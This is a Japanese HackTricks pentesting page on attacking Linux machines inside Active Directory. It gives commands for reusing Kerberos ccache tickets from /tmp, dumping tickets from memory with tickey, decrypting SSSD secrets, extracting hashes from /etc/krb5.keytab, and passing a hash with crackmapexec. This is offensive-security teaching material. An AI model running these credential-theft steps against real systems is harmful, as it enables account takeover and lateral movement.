Linux Active Directory

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

Active Directory環境内にはLinuxマシンも存在する可能性があります。

AD内のLinuxマシンでは、異なるCCACHEチケットがファイル内に保存されている場合があります。これらのチケットは他のKerberosチケットと同様に使用および悪用できます。これらのチケットを読むには、チケットの所有者であるユーザーまたはマシン内のrootである必要があります。

列挙

LinuxからのAD列挙

Linux(またはWindowsのbash)でADにアクセス権がある場合、ADを列挙するためにhttps://github.com/lefayjey/linWinPwnを試すことができます。

LinuxからADを列挙する他の方法を学ぶには、次のページをチェックしてください:

page389, 636, 3268, 3269 - Pentesting LDAP

FreeIPA

FreeIPAは、主にUnix環境向けのMicrosoft Windows Active Directoryのオープンソース代替です。完全なLDAPディレクトリとActive Directoryに似た管理のためのMIT Kerberos Key Distribution Centerを組み合わせています。CA&RA証明書管理のためのDogtag Certificate Systemを利用し、スマートカードを含むマルチファクタ認証をサポートしています。Unix認証プロセスにはSSSDが統合されています。詳細については、以下を参照してください:

pageFreeIPA Pentesting

チケット操作

パスザチケット

このページでは、Linuxホスト内でkerberosチケットを見つけることができるさまざまな場所を見つけることができます。次のページでは、これらのCCacheチケット形式をWindowsで使用する必要があるKirbi形式に変換する方法や、PTT攻撃を実行する方法について学ぶことができます:

pagePass the Ticket

/tmpからのCCACHEチケット再利用

CCACHEファイルは、通常、/tmp内で600の権限で保存されるKerberos資格情報を格納するバイナリ形式です。これらのファイルは、ユーザーのUIDに対応する**名前形式krb5cc_%{uid}**で識別できます。認証チケットの検証には、環境変数KRB5CCNAMEを希望のチケットファイルのパスに設定する必要があり、その再利用が可能になります。

認証に使用されている現在のチケットをリストアップするには、env | grep KRB5CCNAMEを使用します。形式はポータブルであり、環境変数を設定することでチケットを再利用できます。export KRB5CCNAME=/tmp/ticket.ccacheとして環境変数を設定することで、チケットを再利用できます。Kerberosチケットの名前形式はkrb5cc_%{uid}であり、uidはユーザーのUIDです。

# Find tickets
ls /tmp/ | grep krb5cc
krb5cc_1000

# Prepare to use it
export KRB5CCNAME=/tmp/krb5cc_1000

キーリングからのCCACHEチケット再利用

プロセスのメモリに保存されたKerberosチケットは抽出可能であり、特にマシンのptrace保護が無効になっている場合(/proc/sys/kernel/yama/ptrace_scope)。この目的のための便利なツールはhttps://github.com/TarlogicSecurity/tickeyで見つけることができ、セッションにインジェクトして/tmpにチケットをダンプすることで抽出を容易にします。

このツールを構成して使用するためには、以下の手順に従います:

git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release
/tmp/tickey -i

この手順では、さまざまなセッションにインジェクトを試み、抽出されたチケットを /tmp__krb_UID.ccache の命名規則で保存して成功を示します。

SSSD KCM からの CCACHE チケット再利用

SSSD は、パス /var/lib/sss/secrets/secrets.ldb にデータベースのコピーを維持します。対応するキーは、パス /var/lib/sss/secrets/.secrets.mkey に隠しファイルとして保存されます。デフォルトでは、このキーは root 権限を持っている場合にのみ読み取り可能です。

**SSSDKCMExtractor ** を --database と --key パラメータと共に呼び出すと、データベースを解析し、秘密情報を 復号 します。

git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey

資格情報キャッシュKerberos blobは、Mimikatz/Rubeusに渡すことができる使用可能なKerberos CCacheファイルに変換できます。

キータブからのCCACHEチケット再利用

git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab

/etc/krb5.keytab からアカウントを抽出する

ルート権限で動作するサービスに必要なサービスアカウントキーは、/etc/krb5.keytab ファイルに安全に保存されています。これらのキーは、サービス用のパスワードに類似し、厳格な機密性が求められます。

キータブファイルの内容を調査するには、klist を使用できます。このツールは、NT ハッシュを含むキーの詳細を表示するよう設計されており、特にキータイプが23と識別された場合には、ユーザー認証に使用されます。

klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash

Linuxユーザーにとって、**KeyTabExtract**はRC4 HMACハッシュを抽出する機能を提供し、NTLMハッシュの再利用に活用できます。

python3 keytabextract.py krb5.keytab
# Expected output varies based on hash availability

macOSでは、bifrost はkeytabファイルの解析ツールとして機能します。

./bifrost -action dump -source keytab -path /path/to/your/file

抽出されたアカウントとハッシュ情報を利用して、**crackmapexec**などのツールを使用してサーバーへの接続を確立できます。

crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

Last updated